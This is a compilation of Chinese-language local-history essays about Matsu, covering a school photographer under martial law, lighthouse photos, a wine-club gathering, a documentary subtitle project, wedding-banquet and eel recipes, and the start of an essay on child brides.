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王爺的照相機

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王爺的照相機不是王爺的,而是馬祖中學的財產,王爺代管。

民國53年夏天,距今剛好也是53年,王爺從鋁皮校舍的馬祖初中畢業。同班同學有人保送讀師範、有人念水產、更有一些家境較好的升讀高中。王爺是家中長子,父親行動不便。如同那個年代許多十六、七歲,剛從中學畢業的長男長女,王爺沒有赴台升學,而是銜父母之命留在島上結婚;他不再與課本為伴,「拍鑼食酒」次日,枕邊多了一位年輕美麗的妻子。

王爺的老家石牆木構,正面三開間,上下二層,一度是馬祖名廚「一把刀」主持的山海飯店舊址。50年代租給白犬漁民當魚寮,七、八個壯漢白天「下江討海」,晚上睡樓上;一樓貯放漁具,堆滿泛著海腥味的繒網籮筐,掛搭魚鉤的竹簍從泥地疊到樓板。樓下只餘三分之一,分前後兩間,擠上王爺一家還開了間品樂商店。父親顧店,小夫妻從福澳碼頭、物質處、酒廠,一擔一擔挑回福壽酒、砂糖、花生油。

王爺還是民防隊員,每當村公所海螺「咘咘」吹響,就得及時報到,來晚了罰「衛兵」夜間站哨。民防隊勤務多,有時搬碼頭、抬砲彈,有時挖戰壕、清水溝,三天兩頭出公差。王爺要忙家事,又要忙民防隊,結果累出一場大病。病好了,便去介壽國小當「義教」,現在稱志工,帶班代課送公文之類,沒有薪資,每個月僅150元車馬費。唯一福利是脫離民防隊編制,不用半夜三更起床跟鬼作伴,站衛兵。

民國55年,馬祖中學開缺一名工友,王爺應徵錄取,從老師霎時變為工友。新上任的陳練成校長告訴他「以工代職」,工友缺幹職員事;包括學生註冊、圖書館與實驗室管理、繕寫公文、刻鋼板、油印考卷…等等,凡事權模糊、難以歸類的雜事都歸他。

我跟王爺同一年進馬中,他在教務處工作,我讀初一。以後六年,每個學期月考、期考,最緊張、最焦慮的時刻,都是瞪著王爺的字捱過。因為國英史地數理化,每科試卷幾乎都是王爺刻寫蠟紙油印的。他的字寫得工整帶一點右斜,非常獨特。藍色油墨印在偏黃紙上,清晰、明亮,卻讓你心臟砰砰跳動。一直到現在,我偶而還會夢見初高中考試場景,那張心驚肉跳的考卷拿到手,依然是王爺的手跡。

也大約這個時候,家長會募款捐錢,給學校送了台照相機。

那個年代軍管戒嚴,照相機是管制品,民間禁止持有。島上隨處可見保密防諜、殺朱拔毛的標語;海防據點、碉堡營房,甚至政委會、縣政府等單位,大門前一定有「禁止攝影」的告示。嶄新的照相機擱在校長室沒人敢用,也沒人會用。大家視照相機為不祥之物,怕惹上麻煩,推來推去無人願意保管。有一天,校長對王爺說:「你負責實驗室設備,照相機是設備,歸你管。」王爺心裡嘀咕:「實驗設備給學生用的,這相機也要給學生用麼?」王爺還是戰戰兢兢收下了。

不久,政委會來公文,要求有照相機的機關學校填寫身家調查表。確定三代忠良、安全無虞之後,經過報備,王爺成了照相機保管人。不只這樣,還須參加政委會攝影講習,規定景深只能到哪裡,這裡不許拍、那裏不准照、三令五申,違者軍法侍候…,等等。三天講習結束,王爺掌握一個原則,除了人跟學校,大山大海一律不能拍就對了!他拿到一張執照,正式成為馬祖中學不會拍照的合法攝影師。

王爺初試啼聲之作,民國56年。

當時學校有位馮幹事,政工出身,也兼教美術,見過世面,傳授王爺照相三要素:一裝底片、二對焦距、三按快門,王爺算是啟蒙了。他每天摸索、小心翼翼、臨深履薄,終於有一天,考驗王爺的任務來了。他記得很清楚,那天是民國56年3月23日,時任國防部長的蔣經國蒞校訪視。

王爺起了大早,脖子掛上擦得澄亮的相機,心裡不斷默誦從講習班與馮幹事學來,已經背得滾瓜爛熟的原則與要素。臨近中午,穿著草綠夾克蔣經國部長出現了,圓敦敦的校長陪在一邊,部長掛著笑容,一路殷殷垂詢,非常和藹可親。王爺迎上去,抓準時機喀嚓一聲,那個夾雜著緊張、興奮、惶恐、疑懼,50年前馬中校園清脆而響亮的聲音,王爺猶能清清楚楚地聽見。

35mm的底片能拍36到37張,王爺克勤克儉,幾個星期後送到山隴「美美」照相館。照片洗出來,姓齊的老闆大加讚賞:「卡野好啊!」部長昂首闊步,身後簇擁著大小官員,或垂首慰問、或揮手致意,親切中有一股威嚴;作為背景的教室、禮堂,也堂堂入鏡,沒有違背政委會三令五申,校長看了非常滿意。

一回生二回熟,王爺有了信心,無論校慶閱兵、遠足行軍、野餐郊遊、或者晚會表演,都可見到王爺忽前忽後、爬高蹲低,從各種角度獵取鏡頭的身影。從此馬祖中學告別了少數幾幀軍方拍攝,有如樣板一般的制式照片,全面進入有笑容、有歌聲、有菜香、也有體臭的年代。

民國57年,全國同步實施九年國教。對馬中而言,那是一段像黃金一般珍貴的短暫時光。學校同時有戴大盤帽、穿軍訓裙的高中生,也有戴船形帽、圍領巾的初中生,還有黃卡基、藍短褲藍裙子的國中生。四鄉五島的英雄豪傑齊聚校園,五彩繽紛;王爺嗅覺靈敏,對準開學典禮的布幕,輕按快門,喀嚓!為馬祖教育史留下珍貴的一 刻。

王爺回憶,相片照多了,技巧愈熟練,有時翻畫報看別人拍得照片,怎麼取景?怎麼構圖?他說:「我照了好多年,才知道相機不是只能橫拍,也可以直拍!」他會在校慶表演時爬到教室屋頂照女生跳土風舞的全景,也會從禮堂陽台往下拍攝壯盛的閱兵場面。這些照片於今看來,儼然有德國攝影師里芬斯塔爾的況味。大概那時《勝利之光》的畫報,有許多這類展現精神、紀律、與鋼鐵意志的照片。王爺的鏡頭把我們青春的吶喊、似懂非懂的忠誠,與樸素的愛國之心,化為一幀幀令人感懷的黑白畫面。

民國61年11月19日,時任副總統的嚴家淦先生蒞校訪視。王爺一如往常,帶著相機站在校長身後,與全校教職員工列隊恭迎副總統。吉普車駛入校門,校長趨前歡迎,王爺跟上拍照。

才剛按下快門,吉普車後座突然衝出一位軍官,粗暴地把王爺拽到一旁。厲聲問:「你什麼人?誰叫你拍照?」

王爺愣住:「我王幹事,校長讓我負責拍照。」

軍官怒責:「王幹事是啥?副總統不是你能拍得,不准再拍!」

王爺嚇壞了。若干年前攝影講習的場景一下湧入腦袋,這照相機果然是不祥之物,該不會軍法審判吧!會判幾年?還是拉出去給斃了?!

王爺忐忑不安幾天,好在校長軍旅出身,上下打點,終歸浪靜風平!照片洗出來,馬防部派人連底片一起收繳。後來照片發還學校,卻不是原版,而是加洗的複製品。王爺說,多年之後,有一次到馬防部洽公,居然在一旁的雲台閣看到那幀原版照片,跟許多大人物一起掛在牆上。照片中嚴副總溫文儒雅,像久別的老朋友,似乎也在說:「沒事!沒事!」

民國61年11月,為了這張照片,王爺差一點被押。

王爺一直感念陳練成校長。他回憶:「那時剛剛上任一個月,覺得千頭萬緒、難以勝任,還要學照相,管照相機!」他跟校長說,不想幹了!寧可再回去做苦力,每天挑一百多斤的擔子、當民防隊。陳校長安慰:「你再試試半年,真的不行就辭職。」王爺想想,自己新婚不久,從每個月150元一下跳到870元,還有眷補可領,此刻打退堂鼓,一毛錢領不到,就再試試吧!

這一試,就從民國55年試到87年,前後33年。今年欣逢馬祖中學創校60年,馬中走過的步履,跨過的天空,超過一半的歲月都有王爺的身姿。

民國57年,馬中同時有高中部、初中部、國中部,絕無僅有的三部合流。

馬祖獨特的時空環境,中學時代的記憶與台灣學生大不相同,充滿許多軍管面容與方言聲調。隨著時間流逝,我們記憶中的教室、防空洞、發電機、鋁皮屋,還有呼嘯而過的砲彈、上下課的鐘聲、教官的哨子,早就已經看不見也聽不到了。

當碉堡據點不斷變成民宿與咖啡館,當傳統石屋不斷被水泥樓房取代,當海岸天空不再圓柔優美,當島嶼以脫韁野馬之勢奔向不可知的未來;感謝王爺的照片適時挺身而出,填補現在與過去之間的空白。讓我們得以按圖索驥,仍能經由想像、推論與猜測,與過去的自己相遇,即便只有短暫的一刻。

馬祖指揮部拍攝-1
馬祖指揮部拍攝-2
馬祖指揮部拍攝-3
馬祖指揮部拍攝-4
馬祖指揮部拍攝-5

東湧燈塔舊照

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俯瞰燈塔
俯瞰燈塔
看守燈塔人員
看守燈塔人員
燈站十字路
燈站十字路
南面碼頭
南面碼頭

北面碼頭
北面碼頭
1904年聚落情況
1904年聚落情況

木橋
木橋
起居房舍
起居房舍

附屬建築
附屬建築

記酒党雅集

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兩岸三地書展又來到馬祖,圖書館瑞菊大姐每年都不忘提醒我,真是有幸。今年展出的簡體書多達近一千種,可謂包羅萬象,但最吸引我的是傳統經典著作中成套的演義、故事,例如隋唐演義、唐宋傳奇、七俠五義、西遊記…,因為最近在重讀這些伴我渡過少年時代的讀物。現代的孩子對白雪公主、睡美人、美人魚等西洋古典故事瞭若指掌,但對中華文化古典故事卻陌生得很,再加上一些「去中國化」的措施,使得孩子們對傳統文化的想像越來越欠缺了。已經因為家中書滿為患而立誓不再買書的我,還是忍不住買了三本,因為閱讀真是至高無上的享受啊!

文化處同仁請我幫忙接待書展貴賓稻田出版社社長李赫先生。免不了去一趟八八坑道,撲鼻的酒香,以及我賣力的解說,從考古談到酒文化再到酒生活,我們的酒們讓李先生大為驚艷,尤其「馬祖老酒」,簡直是「養在深閨人未識」的姑娘,沒讓她被人人喜愛是多麼可惜呀!遇到識貨者猶如遇知音,我把前二天阿婆送的她自釀的老酒送一瓶給他,因此開啟了一個參加台灣負有盛名的「酒党」雅集的機會。

話說李先生回到台灣,念念不忘馬祖老酒這樣的好酒,不能接受馬祖老酒居然只是小眾酒品,她值得發揚光大的。他給我一個line說7月14日晚間是他們酒党出版業支党部固定聚會的日子,由党魁中央研究院院士曾永義教授作東,在公館的「水源會館」席開二桌,由中華民國圖書出版事業協會國際交流委員會邀請縣長或酒廠廠長參加,縣長因為已有行程不克出席,但贊助了三款酒︰罈裝老酒、元尊陳高、藍寶頂級陳高,由劉總經理代表出席。

由於曾院士早年在馬祖服役,是一位營區在山隴的少尉排長,幾年前曾再臨馬祖已找不到他服役的營區了,但他從沒忘記當時喝過的「馬祖老酒」。還有多位党員都曾在馬祖服役,加薑片暖熱的馬祖老酒是他們的共同記憶,於是,當天我客串了調酒師,因時值盛夏,薑片暖老酒改成冰糖薑汁老酒,另一款是鳳梨汁老酒。李先生費心的將老薑壓成泥,鳳梨榨原汁帶往會場,我帶冰糖和紅糖。賓主坐定,我這調酒師小心翼翼,把薑泥二大匙用約100cc冰開水化開,用紗布過濾出薑汁,加入二匙冰糖攪拌,再把已經冰鎮過的一罈老酒加入。第一杯冰糖薑汁老酒入口,對在座的喝過各種世界名酒的酒党党員來說,卻是第一次的味蕾體驗,人人說好。第二輪上場的鳳梨汁冰鎮老酒,冰鎮的200cc鳳梨原汁兌一罈冰鎮老酒,鳳梨的果香及甜酸,把老酒的麴味在低溫下轉化成清涼沁口的醇味,也是被讚美有加。第三輪是元尊陳高上陣,說「好」是意料中的。

劉總經理把馬祖酒廠作了一番簡歷介紹,讓在座的党員們對馬祖酒類有所認識。我則把老酒的文化作了一些介紹。

其實「老酒」應該是「醪酒」,又稱「醪糟酒」,我們的老酒不正是帶著酒糟來著?醪,指的是汁滓混合的酒,也就是濁酒,因只經濾過非經蒸餾,濾時仍會帶些渣滓,見『說文解字』【卷十四.酉部】「醪,汁滓酒也」。醪、老同音,人們書寫時以筆畫較少的「老」代用了,其實「老酒」並不都是經久存藏的酒(當然八八坑道裡的老酒除外),反而是冬釀春熟的新酒就喝了,事實上老酒不耐藏,若非像八八坑道那樣的合宜的溫濕度環境,只要氣溫較高的環境裡通常很容易就酸掉,此時若加入「醋麴」再經發酵就成了糯米醋了。在馬祖,人們把酸掉的酒汁第二年再和糯米新麴釀酒,稱為「重釀酒」,酒味重甜香醇,但成本高,等於二次的成本只出一次酒。窖藏陳年老酒在罈中仍會持續進行「美拉德反應」(Maillard reaction),而使顏色變深、香味更濃,但其實並不適口,卻更適合作為料理調味用。古人愛喝的是新釀成的酒,如唐朝大詩人白居易的詩《問劉十九》「綠蟻新醅酒,紅泥小火爐。晚來天欲雪,能飲一杯無?」醅,就是還沒過濾的酒,酒渣尚浮在酒液面上,看到小爐已升好火正可以暖酒,詩人那迫不及待想喝新酒的心情,已躍然而出。

醪酒的原料糯米產於中國南方,南方水田種稻米;高粱酒的原料產於北方,北方旱地種高粱,我在山東見過高粱田後終於能領會到莫言的小說『紅高粱』的景象,這是原本自然生態環境造成的分別,但人類適應環境更積極改變環境的結果,物產有了更廣大的分布範圍,南方許多地方也種起了高粱(如金門現仍有種植高粱,馬祖在50年代也種過),所以南方也釀出高粱酒自然不足為奇了,而南方人喜愛醪酒也是緣其自然環境因素。

醪酒很早就在歷史中出現了,讓張良撿鞋、穿鞋的黃石公的兵書「三略.上略」中記載的「簞醪投川」故事︰古有良將,得到別人贈送的一簞酒,為了表示與部下共用,把酒倒在河裡,讓兵士從下游取水飲之,是形容將領愛撫部下,甘苦與共,所以有「簞醪投川,可使三軍告捷。」之說,酒,有凝聚眾心的作用可見一斑。當然,酒更和文學、戲劇等創作緊密聯結,酒滋潤了古今文學、藝術的靈魂和肉體。人們也挖空心思釀出不同口味的醪酒,冬釀春熟的米釀酒,春天裡喝來格外迷人,所以古代很多米釀酒以「春」為名。明.邵璨所著的戲曲《香囊記》第八齣《投宿》:

〔末〕路途辛苦,諸公,尋宿歇如何?

〔淨〕正合下懷,此間有酒店,當共諸公典衣一醉。酒保那有?

〔丑上〕釀成春夏秋冬酒,醉倒東西南北人,官人有何吩咐?

〔淨〕有好酒麼?

〔丑〕隨官人要甚麼樣酒?

〔淨〕胡說,你有多少樣酒?

〔丑〕洞庭春、石凍春、羅浮春、土窟春、梨花春、竹葉春、珍珠紅、葡萄綠、玉膏靑、秋露白、桂髓椒漿、蘭英桑落、烏程白墮、醥醑醍醐。般般有,品品高,直須儀狄齊名,那許新豐奪市。這「般般有、品品高」的十四種酒,其味各異,各有千秋,而且,光說這酒名就令人陶醉啦!

且說這「酒党」可不是什麼向政府登記立案的政治、財團組織,而是一群「相顧莫逆,語無雜塵」且崇尚自由、人間愉快的文人雅士們以酒相聚的組織,「党」是「黨」的古體字,因厭惡「黨」的黑心黑手黑道黑幕黑金黑權,鄙棄奪勢掠名,而取「尚人」的「党」,即這胸懷就讓人心嚮往之。其党章以「尚人不尚黑,人間愉快」為最高指導原則,有「四酒主義」為︰「酒興、酒膽、酒量、酒德」,有「五拳憲法」,還有「飲酒八要」「酒品中正」,甚至還有詩人、作家、音樂家合作的「党歌」,其組織不可謂不縝密。經過三十年來的經營,其組織已擴及兩岸、歐美各地,各領域支党部相繼成立,其陣容不可謂不大。雖然號稱酒党,眾人以酒相會,但是,他們可不是縱情酒國、無所適事的人喔!相反的,他們可是各個領域的翹楚,即以此次聚會的出版業支党部而言,出席的党員們個個來頭不小,近半世紀來,不管是小學生、中學生、大學生、社會人士,許許多人人都讀過他們出版的書,教科書、參考書、課外讀物、小說……,前幾天我才向萬卷樓買了五本簡體書,我由衷的向他們致敬︰出版業是台灣教育、知識傳承最重要的一個環節。

党主席曾永義院士,更是在學術、研究、教學、創作方面已有極高的成就,著作等身、獲獎無數之外,寫起散文來,更是出入古今、趣味橫生。之前常在報章上讀過他的文章,此次雅集中獲贈一本經他簽名的新書「中流自在—曾永義散文集」,589頁厚的書,我三天把它讀完,絲毫不覺疲累,可見其文章之生動好讀。在這樣的党魁感召之下,其党員們焉能不保有特色和格調?而促成此次馬祖好酒和酒党的美麗相會的李赫先生,也是《中國時報》文學獎、《聯合報》小說獎及救國團金獅獎等得主,其創作領域廣闊,小說、鄉土文化、社會心理都可信手拈來巧然成章,還經營著成績亮麗的稻田出版社。席間,党員們分享了當前世界各地及中國大陸出版相關狀況,以及台灣出版業可以做的因應之道。席上一位慈眉善目笑容可掬的貴賓是前文化部長洪孟啟先生,十餘年前上過他「文化政策」的課。

正如「簞醪投川」所揭示的,把酒作正面發揮其力量是非常強大的,所以,我們要推銷酒,也要鼓勵正確的喝酒︰「飲不及醉、醉不及亂」。陳年高粱酒系列已經是我們的金雞母,但也別忘了老酒的潛力,開發出新口味的馬祖醪酒,找到自已的特點和訴求,從傳統出發但不再走老路,走出傳統走向創新,包裝、命名、通路,都可加以重新思考,培養飲用對象,說不定能開創出一條不同的路。

退休後,我愛作各種不同的試驗,此次嘗試的老酒調味酒已獲得酒党同志們的好評,還會繼續嘗試更精準的、不同的配方,但聽到酒党党員們要團購馬祖酒才是我最樂意聽到的。





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今日馬祖 / Matsu today

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中國電影製片廠攝製【今日馬祖 / Matsu today】國防部總政治部監製

馬祖列島是隸屬中華民國的群島,位於臺灣海峽正北方,面臨閩江口、連江口和羅源灣,與中國大陸僅一水之隔,距中國最近點約9.25公里。主要由南竿島(馬祖島)、北竿島、高登島、亮島、東莒島(東犬島)、西莒島(西犬島)、東引島、西引島及其附屬小島共計36個島嶼、礁嶼組成,面積29.6平方公里。

自民國二十四年設立『竿西聯保辦公處』後,歷經日本佔據以及與大陸的五大戰役。乃自民國38年,國民政府遷臺,東海部隊轉進馬祖列島,在國共兩岸對峙期間發生了許多戰事,其主要五大戰役分別為閩江口戰役(47年2月19日)、八一四平潭戰役(47年8月14日)、雙十馬祖戰役(47年10月10日)、五一東引戰役(54年5月1日) 。民國45年7月成立『馬祖戰地政務委員會』,馬祖地區被劃入行政督導區,實施軍政一元化治理,自此而後馬祖全區進入30餘年之軍事管制時期,而最早出現在民國17年,國民政府所頒布的『戰地政務委員會條例』,主要目的是結合佔領區的黨、政、軍之力以支援作戰,並配合訓政時期,訓練當地民眾如何實行民權一直到民國81年11月7日政府宣佈終止實施了三十餘年的戰地政務,金馬地區全面回歸憲政體制,還政於民。

精神糧食的戰地標語『枕戈待旦』、『軍民合作』、『犧牲奉獻』、『光復大陸』、『解救大陸同胞』、『蔣總統萬歲』、『消滅朱毛漢奸』等激勵心志的愛國標語,在馬祖戶外、牆壁上、海港口隨處可見。反攻大陸、收復山河的重責大任,馬祖軍人身上常出現『紋身標語』;『仇匪恨共』的老兵們手臂、手腕、腹部普遍刺上心中信念,以身教傳達意念給予年輕人。

紀錄片中特別紀錄〈馬祖民防自衛隊〉一面,而民防是國防的基礎,兩者相輔相成,欲求國防堅強鞏固,必須先從加強民防著手,我國古代所謂『兵農合一』、『寓兵於農』,正是現代民防的雛型。民防是民眾在戰爭期間保護生命財產的一種自衛措施。防衛作戰任務,達成殲滅敵人最終目標,是民防自衛隊主要任務,平時擔任村落哨戒、海域監視、防諜肅奸工作,戰時則擔負村落防禦、反空降、蒐集情報、軍事支援、照顧老弱等任務。其組織編制:(一)機動區隊 (二)守備區隊 (三)婦女區隊 (四)機關自衛區隊。

當時的軍民一心,同島一命,他們深信必能確保馬祖,他們更瞭解有金馬才有臺澎,有臺澎才能有自由世界,為保衛國土家園,犧牲奉獻,才能享有現在自由民主快樂的生活。

Matsu Island Republic of China

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原字幕經劉宏文老師及公子,劉家國兄等提供修訂意見後,恰好於10/31日蔣中正誕辰紀念日,馬中校慶之日完成,初版上傳youtube及馬資網,也算是一個歷史的連結。 影片中,當時首席顧問懷德中校所說的話,我跟劉老師公子(現留學加拿大),都沒聽出來的美軍顧問職稱,經參考林金炎學長所著的馬祖歲月印記後,其中之一應可以確認是”兵工”顧問,另一個查不到紀錄,姑且記為”第二”顧問。 同時也從該書中還原了兩處英文直譯的不貼切,改註為”幹訓班”及”防空壕洞” 的名詞。另林金炎兄所寫的”馬祖兩棲偵察隊沿革”,也確認了當年兩棲偵察隊的編制真的有一個連這麼大,就如影片中所說的連隊。

馬祖婚宴大菜之一—-燜燒排骨

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軍管時期的馬祖,社會風氣閉塞。許多移自閩東的風俗習慣長久不變。繁文縟節的婚喪儀式,因為社會發展停滯,缺乏外在的刺激而被視為理所當然。年輕人很難想像,當時的婚宴會在自家附近搭棚,連續三天外燴,這種規模今已絕跡。

不僅喜宴的規模如此,甚至連某些菜餚出菜的時機、規矩等都有定制。這些運作模式,隨著時代進步而漸漸的被淘汰。所以,年輕的朋友,就當作聽故事,讓我說一道喜宴必出且做法簡單的大菜,以做為年長者回味、年輕人想像的憑藉。

 

當時的婚宴,主人家共預備五餐飯食及三大酒宴,前者類似家常便飯,故叫做「食飯囝」,後者為正式宴席,依次分別稱「伴角酒」、「嘉期暝」、「姿娘酒」。說「喜宴必出且做法簡單的大菜」有時也不盡然。因為今天所介紹的宴客菜,多半出現在「伴角酒」的宴席上。除非是家境特好的主人,否則它絕不會和「清蒸全雞」同席。「伴角酒」的主客是招待婚禮的出力者。「角」的字義為「角色、人力、人物」等。「伴角」的意思是「陪伴著辛苦的出力者飲宴」。「角」的方言讀音並不好標,勉強可注成ㄍㄩㄛˊ(kyoˊ)。詞彙音變之後讀ㄆㄨㄤˋ兀ㄩㄛˊ(pˊuaŋˋŋyoˊ)。「伴角酒」的菜色特點是「粗平直」(用方言說)。既然如此,它雖列大菜之林,其檔次只能算中等。

燜燒排骨
燜燒排骨

 

我們陳家在馬祖算是大家族,親戚多,所以出席喜宴的機會不少。在我印象當中,這道菜的呈現方式經過三次變革。起初只是以亂刀砍切後入鍋燜煮,沒添加其他配料。說它「粗壯」一點也不為過。因為當時日子過得苦,賓客吃它在嘴,無人會嫌它「柴」。第二階段是以長條形盤子裝盛,然後在左右各擺一坨加鹼水製成的黃麵。這種黃麵馬祖話說ㄑㄧㄢˋㄇㄧㄢ^(ʨˊieŋˋ mieŋ^)。麵條既能當擺設裝飾,又能讓食客飽足,可謂一舉兩得。第三階段是馬祖不再製售「鹼麵」後,人們只好改以菠菜替代。燒煮這道菜的當下,南臺灣正被豪雨侵襲,菠菜攀登天價,我只好改用地瓜葉,這只是權宜替代而已。因為馬祖婚宴有「伴角酒」的時代,地瓜葉只是豬吃的飼料,它根本上不了檯面的。

鹼麵
鹼麵

 

提到「鹼麵」,又讓我想起一些往事。父母在世時,老家開雜貨鋪。父親每次去梅石看電影,行前都會吃白糖拌鹼麵。甜味鹼麵滋味並不好,有時煮的量多了,父親看到正在挑水的我,也會獎賞一些,但我都是敬謝不敏,可見飲食趨向很難以道理說。它是庶民食材,鄉親在端午節「送粽」時,喪家會以這種麵當做回禮。寒假期間陪大陸新娘回娘家走親,在福州傳統市場遇見鹼麵,感覺如同他鄉遇故知,除了拍照以外,我問老闆此物名稱,老闆回答說ㄘㄛ ㄇㄧㄢ^。這又是同物異名的實例。馬祖人稱鹼為ㄘㄛ+ (tsˊɔ33),漢字寫成「草」。當年鄉親到我家「買草」包粽子,至今印象仍很深刻。月初帶美珍老師去大陸參加喜娘大賽。福州電視台宴請馬祖代表,席上有鹹味的炒鹼麵。海鮮作拌料,口感極佳,我連吃兩碗。

鹹味鹼麵
鹹味鹼麵

說了老半天,差點忘了交代「燜燒排骨」的煮法。

現在豬肉攤都有切成7、8公分寬的排骨在販售,形狀如開版照片。切開成條狀,洗淨,不調味、不裹粉,用餐巾紙吸乾水份備用。用乾鍋炒香八角兩顆、花椒粒一湯匙。炸香紅椒、薑片及蔥段。熱油鍋,待油溫稍高時放入排骨炸40秒左右,讓肉質緊密以收束肉汁。倒出炸油,將炸過的排骨、配料同置於鍋內,加水超過肉面。大火燒開之後,調入醬油、料酒、冰糖。至少煮半小時,鍋中水量剩1/3時,然後連同湯汁移入電鍋蒸。這個程序不可少,因為如此排骨才能酥爛。隨時注意調味。看到骨頭突出,肉質後縮時,以筷子挑撥,若能輕易使骨與肉分離,那就表示火候已足。夾出擺盤,夾除佐料,以剩餘湯汁勾薄芡,澆淋其上,剔透油光,保證能令賓客食指大動。

 

做這道菜沒啥關鍵,只是費時而已,上手之後想失敗也難。我做此料理,有承襲也有創新。動輒二、三十桌的喜宴,不可能用如此方式烹調。自從聽過阿△師演講之後,我烹調料理絕少再用勾芡。因為有勾芡只是增加美感而已,對口感了無助益,何況又增加了不少的熱量。

 

鰻魚

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日人嗜吃鰻魚飯,一般日式料理店幾乎都有,塗上醬料燒烤的魚片,鋪在白飯上,以黑殼紅底的漆盒盛裝,要價不菲。這種鰻魚一般稱為河鰻,體型纖細,像放大的泥鰍,在魚池裡養殖長大;少了大海生存的凶險歷練,看起來嬌生慣養、細皮嫩肉,吃進肚裡,甚至感覺不到細刺的威脅。

與養殖河鰻不同,吾鄉常吃的鰻魚體型大多了;尖頭圓身,利齒森森,勇健滑溜的身材一看就知是狠角色,專門掠食蝦、蟹、小魚的海中流氓。有時肆虐範圍大了,嗅到定置網內成群的蝦皮、雜魚,順「窗」鑽入撿現成,胡亂撕咬,再也脫不了身,自己倒成了盤中飧;魚丸、魚麵、炸魚都要靠牠。

苗栗教書那幾年,學校氣氛沉悶,無課之日我便往海岸巡遊,經常去附近龍鳳漁港。漁港靠近竹南,名稱堂皇,實際卻不大,就幾艘膠筏、漁船零散泊在港中。碼頭邊有幾攤漁販,一籃一籃各式魚貨都標了價,擺在地上,逛的人輕鬆,賣的人也不勉強;不像觀光漁港人潮洶湧,喧囂吵雜,賣魚郎吆喝喊價,顯得急躁沒有耐心,隱隱逼迫,讓你不大敢出價。

在台灣,買海鰻的人不多,比起石斑、鯧魚,價格也相對便宜;可能因其長相兇惡,不討喜,也可能因為多刺,加上通體無鱗,吾鄉人說:「毒(ㄉㄩㄟ)」,怕吃了上火吧!

那時經常跟一位婦人買魟、鰻、白力和鯷仔,鮮度夠,價錢也低,都是一些當地人不太買的魚種。順路送到桃園,二佬吃得歡喜,老爸還特別交待要買「黃魟」,切塊加酒糟、薑片,置電鍋燉煮,一層厚厚的黃油,八十多歲了,還能吞下一大碗公的白飯。

買魚次數多了,婦人好奇,先是問我哪裡人?後來忍不住,又有些不好意思,再問:「你買鰻魚怎麼料理?」也難怪她這麼問。中南部是養鰻大宗,一般人只認識河鰻,我在中部多年,從未見哪家海鮮店賣海鰻。在台北讀書時,倒是在學校附近古亭市場,見過一家小攤賣鰻魚羹。海鰻切塊裹粉油炸,勾芡煮羹,湯裡有當歸、枸杞之類的中藥,有濃濃的米酒味。初吃不習慣,尤其是香菜,還以為咬到臭蟲。畢業後有次尋去,古亭市場已拆遷,不見蹤跡,後來在延平國小旁邊店家吃到類似作法,生意興隆顯然已是台北名店,不知是否就是當年窩在古亭街一角的小攤。

在吾鄉,鰻魚最常見吃法大概就屬「紅糟鰻魚」。我看臉書上鄉親PO的照片,除夕年夜飯,不論在馬在台,幾乎每家都有這道料理;有的色澤偏黃(紅糟少了些)、有的偏黑(糖多了些),但都是不折不扣「紅糟鰻魚」。台北勝利福州餐廳(現改新利)紅糟鰻,加了蘇打粉,炸的蓬鬆油亮,外酥內軟,好吃又養眼;跟紅燒黃魚「全折瓜」一起,是昔年婚宴上兩道主要大菜。

在二中任教時,有一次到一位同事家作客,老媽媽是福州人,福州話說得滴溜文雅,她做的紅糟鰻就跟勝利餐廳一個模樣。妻向她請教,老人家笑得非常得意:「麵粉跟酥炸粉對半,加紅糟調色,油不要太熱。」我們後來試過幾次,不是太軟,就是過硬,始終炸不出那個顏色跟口感。四體不勤、菽麥不辨,大概就是形容像我這類愚拙之人吧。

風乾的鰻魚鯗,許多人光是聽到名稱,就禁不住勾起酒癮。窗外北風呼呼,此時一盤「清蒸鰻魚鯗」,幾杯高粱,三五好友,將是一個多麼美妙的夜晚!

至於吾鄉獨有的「封鰻」,其獨特的醺香陳味,大概只藏在五年級以上鄉親的味覺裡。鰻魚開腸剖肚,塞入鹽巴紅糟,以細繩綑紮封住,長長的魚身捲曲數圈,掛在簷下,會讓家裡的老貓瘋狂好幾個月。清代袁枚在《隨園食單》提到:「台鯗好醜不一,出臺州松門者為佳,肉軟而鮮肥,出時拆之,便可當作小菜,不必煮食也。」我懷疑講的就是「封鰻」。

前幾日珠螺鄉親聚餐,大家聊起昔日生活艱難,你一言我一句說得興起。有人提到幼時搬張椅子墊腳,偷吃掛在樓板底下,只有年節才有的「紅糟鰻魚」;沒想到當年心儀的女生,也一樣偷吃,一樣挨揍。

飲食習慣就像鄉音,每個人都帶著,長途跋涉,跟你到海角天涯;有時在白天,有時在夜晚;有時清醒,有時作夢;不時會喚醒你遺落各地的記憶,把它們從隱密處重新找回。

新婦仔

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新婦仔
新婦仔

新婦仔或稱媳婦仔,即童養媳,是吾鄉烙印著悲傷的詞彙。我幼年與村子同伴一塊上學、玩耍,總是有一雙眼睛在背脊遊走,她遠遠立著,定定地望著我們,從不加入,我們也不喚她。她是別村乞來的新婦仔,某個同伴未來的佬媽(註一)。那位同伴見她出現,兀自氣惱羞愧,不斷辱罵趕她離去。我那時雖覺不忍,暗地裡有些慶幸,家裡貧窮雖然萬般辛苦,至少沒有新婦仔,不竟同情我那位同伴,天天被笑有佬媽。

新婦仔的娘家通常兄弟姊妹多,食指浩繁,種田打漁哪裡來得及餵養嗷嗷待哺的一家人。我幼時一位玩伴的母親,我喚她依姆,一年生一個,前前後後生了五個男女,後來又連生四胎,都是女生,還不包括夭折、浸馬桶,無緣人世的幽魂。依伯時而種菜,時而打漁,有時到外村魚寮做企山(註二),一去幾個月,老少都在等他掙錢買米。家裡實在撐不下了,依姆打聽到津沙一戶人家殷實,與依伯商量,就把最清秀聰明的八妹乞(註三)去這戶好人家。他們知道,八妹伶俐靈巧討人喜,給人家做新婦仔,應該不會吃到苦。

津沙來的媒人來邀(註四)八妹那一天,盤籮盛著厚厚一疊禮金,用紅紙包裹,擱在飯桌上。八妹穿一套嶄新的太子龍卡基服、黑色學生裙,頭髮梳得滑溜溜。她沒有哭鬧,依姆交代了好多話,她點點頭,清清亮亮的眼睛泛著淚珠,跟在媒人後面,一高一矮,在曲折的田埂小路,身形顯得特別嬌小。我的玩伴跟依姆大哭,八妹這三年是不能回來娘家的,因為媒婆有約定,怕小孩回家賴著不走,也怕大人反悔。

